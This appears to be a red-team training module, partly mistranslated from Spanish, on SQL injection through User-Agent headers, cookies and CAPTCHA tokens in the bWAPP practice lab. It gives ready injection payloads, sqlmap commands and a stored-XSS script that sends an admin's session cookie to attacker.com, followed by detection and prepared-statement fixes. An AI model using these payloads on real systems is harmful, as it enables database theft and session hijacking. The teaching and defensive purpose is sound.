📕 FIELD MANUAL 2.2: NON-STANDARD VECTORS & HTTP HEADERS
Objective: SQL injection in hidden or "trusted" parameters (Headers, Cookies, CAPTCHAs).
Classification: RED TEAM EYES ONLY
Objective: SQL Injection in hidden or "trusted" parameters (Headers, Cookies, CAPTCHAs).
bWAPP Targets: SQL Injection (CAPTCHA), SQL Injection - Stored (User-Agent).
MITRE ATT&CK: T1190, T1566 (Log Poisoning).
1. INTEL & RECON: THE FALLACY OF TRUST
Sección titulada «1. INTEL & RECON: LA FALACIA DE LA CONFIANZA»Why does this work?
Sección titulada «¿Por qué funciona esto?»Developers use functions to log who visits their site. Example of vulnerable PHP code (Audit Log):
$agent = $_SERVER['HTTP_USER_AGENT']; // El dev confía en esta variable// ☠️ VULNERABILIDAD: INSERT directo a la base de datos$sql = "INSERT INTO access_logs (user_agent, ip_address) VALUES ('$agent', '$ip')";mysqli_query($link, $sql);If our User-Agent contains a single quote ', we break the syntax of the INSERT.
The Technical Challenge (INSERT vs SELECT)
Sección titulada «El Desafío Técnico (INSERT vs SELECT)»Unlike previous modules (SELECT * FROM...), here we are usually inside a INSERT INTO....
- Problem:
UNION SELECTusually doesn't work directly because we cannot "join" results to a data insertion. - Solution: We will use Error-Based SQLi (seen in Module 1.2) or Time-Based (which we will see in Phase 3) to extract information.
2. WEAPONIZATION: ATTACKING HEADERS AND CAPTCHAs
Sección titulada «2. WEAPONIZATION: ATAQUE A CABECERAS Y CAPTCHAs»VECTOR A: User-Agent / Referer (Log Poisoning)
Sección titulada «VECTOR A: User-Agent / Referer (Log Poisoning)»Objective: SQL Injection - Stored (User-Agent) in bWAPP.
-
Intercept: We will capture any request to the vulnerable page using Burp Suite.
-
Modify: We will go to the
User-Agentheader. -
Test Payload (The Crash):
User-Agent: Mozilla/5.0'If we see a MySQL error, it is vulnerable.
-
Extraction Payload (Error-Based): Since we are in a
INSERT, we will inject a subquery that generates an error with the data we want.Mozilla/5.0' AND updatexml(rand(), concat(0x3a, (SELECT version())), null) , '127.0.0.1') -- -(Note: Sometimes we need to complete the other INSERT fields, such as the IP in the example above, to maintain valid syntax before commenting).
VECTOR B: Cookies
Sección titulada «VECTOR B: Cookies»Cookies are just headers that the browser sends back.
- Intercept: We will look for the
Cookie: language=en;header. - Payload:
Cookie: language=en' OR 1=1 -- -;Scenario: If the web uses the cookie to make a query (SELECT * FROM translations WHERE lang = '$cookie'), we will see all translations or an error.
VECTOR C: CAPTCHA Bypass
Sección titulada «VECTOR C: CAPTCHA Bypass»Target: SQL Injection (CAPTCHA) in bWAPP.
Sometimes, CAPTCHA validation involves querying a database to see if the token is valid.
-
Reconnaissance: We will complete the form and the CAPTCHA. We will intercept the request.
-
Analysis: We will see a parameter (e.g.,
captcha_tokenor similar). -
Injection:
captcha_token=1' OR 1=1 -- -Impact: If the query is
SELECT * FROM captchas WHERE token = '$input', our payload returnsTRUE. The system will believe we have correctly solved the CAPTCHA without actually doing so!
3. AUTOMATION: SQLMAP “LEVEL UP”
Sección titulada «3. AUTOMATION: SQLMAP “LEVEL UP”»By default, SQLMap DOES NOT check headers because it slows down the scan. We will have to explicitly tell it to increase the level.
Command for Headers:
sqlmap -u "http://bwapp/sqli_1.php" --cookie="PHPSESSID=..." --level 3 --dbs-level 2: We will add tests to Cookies.-level 3: We will add tests to User-Agent and Referer.-level 5: We will test the Host header (rare, but possible).
4. ESCALATION: LOG POISONING & XSS
Sección titulada «4. ESCALADA: LOG POISONING & XSS»Reference to the “Master Plan - Phase 5”
If we inject into the User-Agent and the application displays those logs in an “Admin Panel” for the Admin to see:
-
The Attack: We will inject JavaScript code instead of SQL.
User-Agent: <script>document.location='[http://attacker.com/cookie='+document.cookie](http://attacker.com/cookie='+document.cookie)</script> -
The Result: When the Admin logs in to see “Who has visited the web today”, their browser will execute the script and send us their session cookie. This is a Stored XSS via SQL Log Injection.
5. PURPLE TEAM VIEW (DEFENSE)
Sección titulada «5. VISIÓN DEL EQUIPO PURPLE (DEFENSA)»🕵️ Detection
Sección titulada «🕵️ Detección»- Access Logs (Ironically): The logs themselves will show the attack. We will search for SQL strings (
SELECT,UNION,AND,') within the User-Agent or Referer columns in our SIEM. - WAF Rules: We will ensure that our WAF inspects all HTTP headers, not just the URL and the Body. Many “cheap” WAFs ignore the User-Agent to save CPU.
🛡️ Mitigation
Sección titulada «🛡️ Mitigación»-
Trust NOTHING:
$_SERVER['HTTP_USER_AGENT']is as dangerous as$_GET['id']. -
Prepared Statements: We will use
bind_paramto save logs.$stmt = $conn->prepare("INSERT INTO logs (agent) VALUES (?)");$stmt->bind_param("s", $_SERVER['HTTP_USER_AGENT']);$stmt->execute();This will save the malicious string as is, without executing it as SQL code.
Status: Module 2.2 Completed. End of Phase 2. Next Step: Phase 3 - Blind SQL Injection (Operating blindly).

